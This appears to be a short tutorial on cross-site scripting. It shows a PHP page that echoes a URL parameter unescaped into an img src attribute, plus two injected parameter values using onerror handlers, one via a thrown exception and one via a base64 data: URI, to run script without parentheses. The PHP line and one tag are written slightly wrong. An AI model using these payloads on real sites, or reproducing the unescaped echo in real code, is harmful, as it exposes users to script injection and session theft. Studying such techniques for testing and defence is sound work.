Let's assume that injection takes place in img tag src attribute:
<!-- http://example.com/image.php?filename=INJECTION -->
...
<img src="<?php echo $_GET['filename']"; ?> >
...
One approach is to use exceptions as is described
here. So the injected code (filename param) should look like this:
fileThatDoesNotExist" onerror="javascript:window.onerror=alert;throw 'XSS'" dummyParam="
Resulting in:
<!-- http://example.com/image.php?filename=INJECTION -->
...
<img src="fileThatDoesNotExist" onerror="javascript:window.onerror=alert;throw 'XSS'" dummyParam="" >
...
But I'd like to show you another way to do XSS without parentheses and brackets by using location.href and "data:" URI with base64 encoding. Let's inject <script>alert("XSS")<script/> code (in base64 is PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=). So crafted parameter should look like this:
fileThatDoesNotExist" onerror="location.href='data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4='" dummyParam="
Resulting in:
<!-- http://example.com/image.php?filename=INJECTION -->
...
<img src="fileThatDoesNotExist" onerror="location.href='data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4='" dummyParam="" >
...
